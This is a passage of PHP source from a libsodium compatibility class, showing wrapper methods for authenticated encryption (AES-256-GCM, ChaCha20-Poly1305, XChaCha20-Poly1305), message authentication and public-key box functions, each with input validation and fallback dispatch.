            case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                return ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded);
            default:
                throw new SodiumException('invalid base64 variant identifier');
        }
    }

    /**
     * Cache-timing-safe implementation of bin2hex().
     *
     * @param string $string A string (probably raw binary)
     * @return string        A hexadecimal-encoded string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function bin2hex($string)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_bin2hex($string);
        }
        if (self::use_fallback('bin2hex')) {
            return (string) call_user_func('\\Sodium\\bin2hex', $string);
        }
        return ParagonIE_Sodium_Core_Util::bin2hex($string);
    }

    /**
     * Compare two strings, in constant-time.
     * Compared to memcmp(), compare() is more useful for sorting.
     *
     * @param string $left  The left operand; must be a string
     * @param string $right The right operand; must be a string
     * @return int          If < 0 if the left operand is less than the right
     *                      If = 0 if both strings are equal
     *                      If > 0 if the right operand is less than the left
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function compare($left, $right)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return (int) sodium_compare($left, $right);
        }
        if (self::use_fallback('compare')) {
            return (int) call_user_func('\\Sodium\\compare', $left, $right);
        }
        return ParagonIE_Sodium_Core_Util::compare($left, $right);
    }

    /**
     * Is AES-256-GCM even available to use?
     *
     * @return bool
     * @psalm-suppress UndefinedFunction
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_aead_aes256gcm_is_available();
        }
        if (self::use_fallback('crypto_aead_aes256gcm_is_available')) {
            return call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available');
        }
        if (PHP_VERSION_ID < 70100) {
            // OpenSSL doesn't support AEAD before 7.1.0
            return false;
        }
        if (!is_callable('openssl_encrypt') || !is_callable('openssl_decrypt')) {
            // OpenSSL isn't installed
            return false;
        }
        return (bool) in_array('aes-256-gcm', openssl_get_cipher_methods());
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8 bytes
     * @param string $key        Encryption key
     *
     * @return string|bool       The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_AES256GCM_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_AES256GCM_ABYTES long');
        }
        if (!is_callable('openssl_decrypt')) {
            throw new SodiumException('The OpenSSL extension is not installed, or openssl_decrypt() is not available');
        }

        /** @var string $ctext */
        $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0, -self::CRYPTO_AEAD_AES256GCM_ABYTES);
        /** @var string $authTag */
        $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext, -self::CRYPTO_AEAD_AES256GCM_ABYTES, 16);
        return openssl_decrypt(
            $ctext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte GCM message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aes256gcm_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long');
        }

        if (!is_callable('openssl_encrypt')) {
            throw new SodiumException('The OpenSSL extension is not installed, or openssl_encrypt() is not available');
        }

        $authTag = '';
        $ciphertext = openssl_encrypt(
            $plaintext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
        return $ciphertext . $authTag;
    }

    /**
     * Return a secure random key for use with the AES-256-GCM
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aes256gcm_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) {
            return call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 12 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt')) {
            return call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce Number to be used only Once; must be 8 bytes
     * @param string $key Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_ietf_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface. (IETF version)
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_ietf_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext   Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData    Authenticated Associated Data (unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8 bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string|bool         The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        } else {
            $assocData = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) {
                return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
                    $ciphertext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext    Message to be encrypted
     * @param string $assocData    Authenticated Associated Data (unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8 bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        } else {
            $assocData = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) {
                return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
                    $plaintext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the XChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_xchacha20poly1305_ietf_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticate a message. Uses symmetric-key cryptography.
     *
     * Algorithm:
     *     HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits.
     *     Not to be confused with HMAC-SHA-512/256 which would use the
     *     SHA-512/256 hash function (uses different initial parameters
     *     but still truncates to 256 bits to sidestep length-extension
     *     attacks).
     *
     * @param string $message Message to be authenticated
     * @param string $key Symmetric authentication key
     * @return string         Message authentication code
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth($message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_AUTH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_auth($message, $key);
        }
        if (self::use_fallback('crypto_auth')) {
            return (string) call_user_func('\\Sodium\\crypto_auth', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth($message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth($message, $key);
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_auth_keygen()
    {
        return random_bytes(self::CRYPTO_AUTH_KEYBYTES);
    }

    /**
     * Verify the MAC of a message previously authenticated with crypto_auth.
     *
     * @param string $mac Message authentication code
     * @param string $message Message whose authenticity you are attempting to
     *                        verify (with a given MAC and key)
     * @param string $key Symmetric authentication key
     * @return bool           TRUE if authenticated, FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth_verify($mac, $message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($mac, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($mac) !== self::CRYPTO_AUTH_BYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_AUTH_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_AUTH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_auth_verify($mac, $message, $key);
        }
        if (self::use_fallback('crypto_auth_verify')) {
            return (bool) call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key);
    }

    /**
     * Authenticated asymmetric-key encryption. Both the sender and recipient
     * may decrypt messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305.
     *     X25519: Elliptic-Curve Diffie Hellman over Curve25519.
     *     XSalsa20: Extended-nonce variant of salsa20.
     *     Poyl1305: Polynomial MAC for one-time message authentication.
     *
     * @param string $plaintext The message to be encrypted
     * @param string $nonce A Number to only be used Once; must be 24 bytes
     * @param string $keypair Your secret key and your recipient's public key
     * @return string           Ciphertext with 16-byte Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box($plaintext, $nonce, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box($plaintext, $nonce, $keypair);
        }
        if (self::use_fallback('crypto_box')) {
            return (string) call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair);
    }

    /**
     * Anonymous public-key encryption. Only the recipient may decrypt messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box.
     *     The sender's X25519 keypair is ephemeral.
     *     Nonce is generated from the BLAKE2b hash of both public keys.
     *
     * This provides ciphertext integrity.
     *
     * @param string $plaintext Message to be sealed
     * @param string $publicKey Your recipient's public key
     * @return string           Sealed message that only your recipient can
     *                          decrypt
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_seal($plaintext, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seal($plaintext, $publicKey);
        }
        if (self::use_fallback('crypto_box_seal')) {
            return (string) call_user_func('\\Sodium\\crypto_box_seal', $plaintext, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal($plaintext, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey);
    }

    /**
     * Opens a message encrypted with crypto_box_seal(). Requires
     * the recipient's keypair (sk || pk) to decrypt successfully.
     *
     * This validates ciphertext integrity.
     *
     * @param string $ciphertext Sealed message to be opened
     * @param string $keypair    Your crypto_box keypair
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_seal_open($ciphertext, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_seal_open($ciphertext, $keypair);
        }
        if (self::use_fallback('crypto_box_seal_open')) {
            return call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
